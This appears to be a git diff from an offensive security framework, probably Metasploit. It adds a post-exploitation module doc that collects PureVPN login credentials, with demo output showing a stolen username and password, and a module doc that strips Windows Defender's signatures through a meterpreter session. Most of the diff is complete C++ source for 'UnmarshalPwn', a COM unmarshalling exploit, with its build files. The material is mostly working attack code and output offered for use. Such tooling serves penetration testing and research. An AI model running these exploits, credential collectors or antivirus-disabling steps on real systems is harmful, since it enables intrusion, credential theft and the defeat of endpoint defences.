|
||||
Channel 11 created.
|
||||
Microsoft Windows [Version 10.0.15063]
|
||||
(c) 2017 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Users\msfuser\Downloads>net user
|
||||
net user
|
||||
|
||||
User accounts for \\WIN10X64-1703
|
||||
|
||||
-------------------------------------------------------------------------------
|
||||
Administrator DefaultAccount egypt
|
||||
Guest msfuser
|
||||
The command completed successfully.
|
||||
|
||||
|
||||
C:\Users\msfuser\Downloads>net localgroup administrators
|
||||
net localgroup administrators
|
||||
Alias name administrators
|
||||
Comment Administrators have complete and unrestricted access to the computer/domain
|
||||
|
||||
Members
|
||||
|
||||
-------------------------------------------------------------------------------
|
||||
Administrator
|
||||
egypt
|
||||
msfuser
|
||||
The command completed successfully.
|
||||
|
||||
|
||||
C:\Users\msfuser\Downloads>
|
||||
|
||||
```
|
|
@ -0,0 +1,35 @@
|
|||
# Intro
|
||||
|
||||
This module allows you to collect login information for PureVPN client, specifically the `login.conf` file.
|
||||
|
||||
# Vulnerable Application
|
||||
|
||||
Versions before 6.0 should be vulnerable. For testing purposes, you may find the vulnerable version here:
|
||||
|
||||
* [https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m](https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m)
|
||||
* [https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe](https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe)
|
||||
|
||||
# Options
|
||||
|
||||
**RPATH**
|
||||
|
||||
You may manually set the `RPATH` datastore option to allow the post module to find the installed
|
||||
directory of PureVPN.
|
||||
|
||||
# Demo
|
||||
|
||||
```
|
||||
msf5 post(windows/gather/credentials/purevpn_cred_collector) > rerun
|
||||
[*] Reloading module...
|
||||
|
||||
[*] Searching PureVPN Client installation at C:\ProgramData
|
||||
[*] Found PureVPN Client installation at C:\ProgramData
|
||||
[*] Checking for login configuration at: C:\ProgramData\purevpn\config\
|
||||
[*] Configuration file found: C:\ProgramData\purevpn\config\login.conf
|
||||
[*] Found PureVPN login configuration on DESKTOP-AFMF2QU via session ID: 1
|
||||
[+] Collected the following credentials:
|
||||
[+] Username: asfafsdas
|
||||
[+] Password: 23423423
|
||||
[*] PureVPN credentials saved in: /Users/wchen/.msf4/loot/20181127162258_default_172.16.249.215_PureVPN.creds_515624.txt
|
||||
[*] Post module execution completed
|
||||
```
|
|
@ -0,0 +1,81 @@
|
|||
|
||||
This module requires system privs
|
||||
|
||||
This module rolls back the signatures in windows defender to the
|
||||
earliest signatures. The level of protection is somewhat indeterminate.
|
||||
This action is accomplished by running the command:
|
||||
`MpCmdRun.exe -RemoveDefinitions -All`
|
||||
|
||||
To recover, you can run
|
||||
`MpCmdRun.exe -UpdateSignatures`
|
||||
That will force defender to update the signatures to the latest version
|
||||
from
|
||||
|
||||
|
||||
###Vulnerable Applications
|
||||
Windows defender is the target, though this is a feature
|
||||
|
||||
###Verification Steps
|
||||
```
|
||||
msf5 post(windows/manage/rollback_defender_signatures) > sessions -i -1
|
||||
[*] Starting interaction with 3...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-5ADJK2NT7IJ
|
||||
OS : Windows 7 (Build 7600).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 3...
|
||||
msf5 post(windows/manage/rollback_defender_signatures) > show options
|
||||
|
||||
Module options (post/windows/manage/rollback_defender_signatures):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ACTION Update yes Action to perform (Update/Rollback) (Accepted: Rollback, Update)
|
||||
SESSION 3 yes The session to run this module on.
|
||||
|
||||
msf5 post(windows/manage/rollback_defender_signatures) > set action rollback
|
||||
action => rollback
|
||||
msf5 post(windows/manage/rollback_defender_signatures) > set verbose true
|
||||
verbose => true
|
||||
msf5 post(windows/manage/rollback_defender_signatures) > show options
|
||||
|
||||
Module options (post/windows/manage/rollback_defender_signatures):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ACTION rollback yes Action to perform (Update/Rollback) (Accepted: rollback, update)
|
||||
SESSION 3 yes The session to run this module on.
|
||||
|
||||
msf5 post(windows/manage/rollback_defender_signatures) > run
|
||||
|
||||
[*] program_path = C:\Program Files
|
||||
[*] file_path = C:\Program Files\Windows Defender\MpCmdRun.exe
|
||||
[*] Removing All Definitions for Windows Defender
|
||||
[*] rollback
|
||||
[*] Running cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
|
||||
[*]
|
||||
Service Version: 6.1.7600.16385
|
||||
Engine Version: 1.1.15400.5
|
||||
AntiSpyware Signature Version: 1.281.1013.0e[*] Post module execution completed
|
||||
|
||||
### Options
|
||||
Module options (post/windows/manage/rollback_defender_signatures):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ACTION rollback yes Action to perform (Update/Rollback) (Accepted: rollback, update)
|
||||
SESSION 3 yes The session to run this module on.
|
||||
|
||||
Session is standard
|
||||
ACTION is what you would like to do. Rollback rolls the definitions
|
||||
back to the original, update updates the signatures. In theory, on
|
||||
a normal system, rollback will push to old definitions, and update will
|
||||
return the definitions.
|
|
@ -0,0 +1,419 @@
|
|||
// UnmarshalPwn.cpp : Defines the entry point for the console application.
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include <string>
|
||||
#include <comdef.h>
|
||||
#include <winternl.h>
|
||||
#include <ole2.h>
|
||||
#include <Shlwapi.h>
|
||||
#include <strsafe.h>
|
||||
#include <vector>
|
||||
#include <stdlib.h>
|
||||
|
||||
#pragma comment(lib, "shlwapi.lib")
|
||||
|
||||
GUID marshalInterceptorGUID = { 0xecabafcb,0x7f19,0x11d2,{ 0x97,0x8e,0x00,0x00,0xf8,0x75,0x7e,0x2a } };
|
||||
GUID compositeMonikerGUID = { 0x00000309,0x0000,0x0000,{ 0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 } };
|
||||
UINT header[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
|
||||
UINT monikers[] = { 0x02,0x00,0x00,0x00 };
|
||||
GUID newMonikerGUID = { 0xecabafc6,0x7f19,0x11d2,{ 0x97,0x8e,0x00,0x00,0xf8,0x75,0x7e,0x2a } };
|
||||
GUID random;
|
||||
OLECHAR* randomString;
|
||||
|
||||
static bstr_t IIDToBSTR(REFIID riid)
|
||||
{
|
||||
LPOLESTR str;
|
||||
bstr_t ret = "Unknown";
|
||||
if (SUCCEEDED(StringFromIID(riid, &str)))
|
||||
{
|
||||
ret = str;
|
||||
CoTaskMemFree(str);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
unsigned char const* GuidToByteArray(GUID const& g)
|
||||
{
|
||||
return reinterpret_cast<unsigned char const*>(&g);
|
||||
}
|
||||
|
||||
class FakeObject : public IMarshal, public IStorage
|
||||
{
|
||||
LONG m_lRefCount;
|
||||
IStoragePtr _stg;
|
||||
wchar_t *pFilePath = NULL;
|
||||
|
||||
public:
|
||||
//Constructor, Destructor
|
||||
FakeObject(IStoragePtr storage, wchar_t *pValue) {
|
||||
_stg = storage;
|
||||
m_lRefCount = 1;
|
||||
pFilePath = pValue;
|
||||
}
|
||||
|
||||
~FakeObject() {};
|
||||
|
||||
//IUnknown
|
||||
HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
|
||||
{
|
||||
if (riid == __uuidof(IUnknown))
|
||||
{
|
||||
printf("Query for IUnknown\n");
|
||||
*ppvObj = this;
|
||||
}
|
||||
else if (riid == __uuidof(IStorage))
|
||||
{
|
||||
printf("Query for IStorage\n");
|
||||
*ppvObj = static_cast<IStorage*>(this);
|
||||
}
|
||||
else if (riid == __uuidof(IMarshal))
|
||||
{
|
||||
printf("Query for IMarshal\n");
|
||||
*ppvObj = static_cast<IMarshal*>(this);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
|
||||
*ppvObj = NULL;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
|
||||
((IUnknown*)*ppvObj)->AddRef();
|
||||
return NOERROR;
|
||||
}
|
||||
|
||||
ULONG __stdcall AddRef()
|
||||
{
|
||||
return InterlockedIncrement(&m_lRefCount);
|
||||
}
|
||||
|
||||
ULONG __stdcall Release()
|
||||
{
|
||||
ULONG ulCount = InterlockedDecrement(&m_lRefCount);
|
||||
|
||||
if (0 == ulCount)
|
||||
{
|
||||
delete this;
|
||||
}
|
||||
|
||||
return ulCount;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE CreateStream(
|
||||
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
|
||||
/* [in] */ DWORD grfMode,
|
||||
/* [in] */ DWORD reserved1,
|
||||
/* [in] */ DWORD reserved2,
|
||||
/* [out] */ __RPC__deref_out_opt IStream **ppstm) {
|
||||
printf("Call: CreateStream\n");
|
||||
return _stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm);
|
||||
|
||||
}
|
||||
|
||||
virtual /* [local] */ HRESULT STDMETHODCALLTYPE OpenStream(
|
||||
/* [annotation][string][in] */
|
||||
_In_z_ const OLECHAR *pwcsName,
|
||||
/* [annotation][unique][in] */
|
||||
_Reserved_ void *reserved1,
|
||||
/* [in] */ DWORD grfMode,
|
||||
/* [in] */ DWORD reserved2,
|
||||
/* [annotation][out] */
|
||||
_Outptr_ IStream **ppstm) {
|
||||
printf("Call: OpenStream\n");
|
||||
_stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE CreateStorage(
|
||||
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
|
||||
/* [in] */ DWORD grfMode,
|
||||
/* [in] */ DWORD reserved1,
|
||||
/* [in] */ DWORD reserved2,
|
||||
/* [out] */ __RPC__deref_out_opt IStorage **ppstg) {
|
||||
printf("Call: CreateStorage\n");
|
||||
_stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE OpenStorage(
|
||||
/* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName,
|
||||
/* [unique][in] */ __RPC__in_opt IStorage *pstgPriority,
|
||||
/* [in] */ DWORD grfMode,
|
||||
/* [unique][in] */ __RPC__deref_opt_in_opt SNB snbExclude,
|
||||
/* [in] */ DWORD reserved,
|
||||
/* [out] */ __RPC__deref_out_opt IStorage **ppstg) {
|
||||
printf("Call: OpenStorage\n");
|
||||
_stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual /* [local] */ HRESULT STDMETHODCALLTYPE CopyTo(
|
||||
/* [in] */ DWORD ciidExclude,
|
||||
/* [annotation][size_is][unique][in] */
|
||||
_In_reads_opt_(ciidExclude) const IID *rgiidExclude,
|
||||
/* [annotation][unique][in] */
|
||||
_In_opt_ SNB snbExclude,
|
||||
/* [annotation][unique][in] */
|
||||
_In_ IStorage *pstgDest) {
|
||||
printf("Call: CopyTo\n");
|
||||
_stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE MoveElementTo(
|
||||
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
|
||||
/* [unique][in] */ __RPC__in_opt IStorage *pstgDest,
|
||||
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName,
|
||||
/* [in] */ DWORD grfFlags) {
|
||||
printf("Call: MoveElementTo\n");
|
||||
_stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE Commit(
|
||||
/* [in] */ DWORD grfCommitFlags) {
|
||||
printf("Call: Commit\n");
|
||||
_stg->Commit(grfCommitFlags);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE Revert(void) {
|
||||
printf("Call: Revert\n");
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual /* [local] */ HRESULT STDMETHODCALLTYPE EnumElements(
|
||||
/* [annotation][in] */
|
||||
_Reserved_ DWORD reserved1,
|
||||
/* [annotation][size_is][unique][in] */
|
||||
_Reserved_ void *reserved2,
|
||||
/* [annotation][in] */
|
||||
_Reserved_ DWORD reserved3,
|
||||
/* [annotation][out] */
|
||||
_Outptr_ IEnumSTATSTG **ppenum) {
|
||||
printf("Call: EnumElements\n");
|
||||
_stg->EnumElements(reserved1, reserved2, reserved3, ppenum);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE DestroyElement(
|
||||
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName) {
|
||||
printf("Call: DestroyElement\n");
|
||||
_stg->DestroyElement(pwcsName);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE RenameElement(
|
||||
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsOldName,
|
||||
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName) {
|
||||
printf("Call: RenameElement\n");
|
||||
return S_OK;
|
||||
|
||||
};
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetElementTimes(
|
||||
/* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName,
|
||||
/* [unique][in] */ __RPC__in_opt const FILETIME *pctime,
|
||||
/* [unique][in] */ __RPC__in_opt const FILETIME *patime,
|
||||
/* [unique][in] */ __RPC__in_opt const FILETIME *pmtime) {
|
||||
printf("Call: SetElementTimes\n");
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetClass(
|
||||
/* [in] */ __RPC__in REFCLSID clsid) {
|
||||
printf("Call: SetClass\n");
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetStateBits(
|
||||
/* [in] */ DWORD grfStateBits,
|
||||
/* [in] */ DWORD grfMask) {
|
||||
printf("Call: SetStateBits\n");
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE Stat(
|
||||
/* [out] */ __RPC__out STATSTG *pstatstg,
|
||||
/* [in] */ DWORD grfStatFlag) {
|
||||
printf("Call: Stat\n");
|
||||
HRESULT hr = 0;
|
||||
size_t len = 0;
|
||||
|
||||
len = wcsnlen_s(randomString, MAX_PATH) + 1;
|
||||
PWCHAR s = (PWCHAR)CoTaskMemAlloc(len * sizeof(WCHAR));
|
||||
wcscpy_s(s, len, randomString);
|
||||
pstatstg[0].pwcsName = s;
|
||||
hr = _stg->Stat(pstatstg, grfStatFlag);
|
||||
printf("End: Stat\n");
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
|
||||
/* [annotation][in] */
|
||||
_In_ REFIID riid,
|
||||
/* [annotation][unique][in] */
|
||||
_In_opt_ void *pv,
|
||||
/* [annotation][in] */
|
||||
_In_ DWORD dwDestContext,
|
||||
/* [annotation][unique][in] */
|
||||
_Reserved_ void *pvDestContext,
|
||||
/* [annotation][in] */
|
||||
_In_ DWORD mshlflags,
|
||||
/* [annotation][out] */
|
||||
_Out_ CLSID *pCid)
|
||||
{
|
||||
printf("Call: GetUnmarshalClass\n");
|
||||
*pCid = marshalInterceptorGUID; // ECABAFCB-7F19-11D2-978E-0000F8757E2A
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
|
||||
/* [annotation][in] */
|
||||
_In_ REFIID riid,
|
||||
/* [annotation][unique][in] */
|
||||
_In_opt_ void *pv,
|
||||
/* [annotation][in] */
|
||||
_In_ DWORD dwDestContext,
|
||||
/* [annotation][unique][in] */
|
||||
_Reserved_ void *pvDestContext,
|
||||
/* [annotation][in] */
|
||||
_In_ DWORD mshlflags,
|
||||
/* [annotation][out] */
|
||||
_Out_ DWORD *pSize)
|
||||
{
|
||||
printf("Call: GetMarshalSizeMax\n");
|
||||
*pSize = 1024;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
|
||||
/* [annotation][unique][in] */
|
||||
_In_ IStream *pStm,
|
||||
/* [annotation][in] */
|
||||
_In_ REFIID riid,
|
||||
/* [annotation][unique][in] */
|
||||
_In_opt_ void *pv,
|
||||
/* [annotation][in] */
|
||||
_In_ DWORD dwDestContext,
|
||||
/* [annotation][unique][in] */
|
||||
_Reserved_ void *pvDestContext,
|
||||
/* [annotation][in] */
|
||||
_In_ DWORD mshlflags)
|
||||
{
|
||||
printf("Call: MarshalInterface\n");
|
||||
ULONG written = 0;
|
||||
HRESULT hr = 0;
|
||||
pStm->Write(header, 12, &written);
|
||||
pStm->Write(GuidToByteArray(marshalInterceptorGUID), 16, &written);
|
||||
|
||||
IMonikerPtr fileMoniker;
|
||||
IMonikerPtr newMoniker;
|
||||
IBindCtxPtr context;
|
||||
|
||||
pStm->Write(monikers, 4, &written);
|
||||
pStm->Write(GuidToByteArray(compositeMonikerGUID), 16, &written);
|
||||
pStm->Write(monikers, 4, &written);
|
||||
hr = CreateBindCtx(0, &context);
|
||||
hr = CreateFileMoniker(pFilePath, &fileMoniker);
|
||||
hr = CoCreateInstance(newMonikerGUID, NULL, CLSCTX_ALL, IID_IUnknown, (LPVOID*)&newMoniker);
|
||||
hr = OleSaveToStream(fileMoniker, pStm);
|
||||
hr = OleSaveToStream(newMoniker, pStm);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
|
||||
/* [annotation][unique][in] */
|
||||
_In_ IStream *pStm,
|
||||
/* [annotation][in] */
|
||||
_In_ REFIID riid,
|
||||
/* [annotation][out] */
|
||||
_Outptr_ void **ppv)
|
||||
{
|
||||
printf("Call: UnmarshalInterface\n");
|
||||
return E_NOTIMPL;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
|
||||
/* [annotation][unique][in] */
|
||||
_In_ IStream *pStm)
|
||||
{
|
||||
printf("Call: ReleaseMarshalData\n");
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
|
||||
/* [annotation][in] */
|
||||
_In_ DWORD dwReserved)
|
||||
{
|
||||
printf("Call: DisconnectObject\n");
|
||||
return S_OK;
|
||||
}
|
||||
};
|
||||
|
||||
static HRESULT Check(HRESULT hr)
|
||||
{
|
||||
if (FAILED(hr))
|
||||
{
|
||||
throw _com_error(hr);
|
||||
}
|
||||
return hr;
|
||||
}
|
||||
|
||||
void Exploit(wchar_t *pValue)
|
||||
{
|
||||
HRESULT hr = 0;
|
||||
IStoragePtr storage = nullptr;
|
||||
MULTI_QI* qi = new MULTI_QI[1];
|
||||
|
||||
GUID target_GUID = { 0x7d096c5f,0xac08,0x4f1f,{ 0xbe,0xb7,0x5c,0x22,0xc5,0x17,0xce,0x39 } };
|
||||
hr = CoCreateGuid(&random);
|
||||
|
||||
StringFromCLSID(random, &randomString);
|
||||
StgCreateDocfile(randomString, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &storage);
|
||||
|
||||
IStoragePtr pFake = new FakeObject(storage, pValue);
|
||||
|
||||
qi[0].pIID = &IID_IUnknown;
|
||||
qi[0].pItf = NULL;
|
||||
qi[0].hr = 0;
|
||||
|
||||
CoGetInstanceFromIStorage(NULL, &target_GUID, NULL, CLSCTX_LOCAL_SERVER, pFake, 1, qi);
|
||||
|
||||
}
|
||||
|
||||
class CoInit
|
||||
{
|
||||
public:
|
||||
CoInit()
|
||||
{
|
||||
Check(CoInitialize(nullptr));
|
||||
Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, NULL, nullptr));
|
||||
}
|
||||
|
||||
~CoInit()
|
||||
{
|
||||
CoUninitialize();
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
int wmain(int argc, wchar_t** argv)
|
||||
{
|
||||
try
|
||||
{
|
||||
CoInit ci;
|
||||
|
||||
Exploit(argv[1]);
|
||||
|
||||
}
|
||||
catch (const _com_error& err)
|
||||
{
|
||||
printf("Error: %ls\n", err.ErrorMessage());
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,28 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.21005.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UnmarshalPwn", "UnmarshalPwn.vcxproj", "{A6D839B1-7270-4632-BD2E-733A6061E91B}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Debug|x64 = Debug|x64
|
||||
Release|Win32 = Release|Win32
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|x64.Build.0 = Debug|x64
|
||||
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|Win32.ActiveCfg = Release|x64
|
||||
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|Win32.Build.0 = Release|x64
|
||||
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|x64.ActiveCfg = Release|x64
|
||||
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,166 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{A6D839B1-7270-4632-BD2E-733A6061E91B}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>UnmarshalPwn</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.16299.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
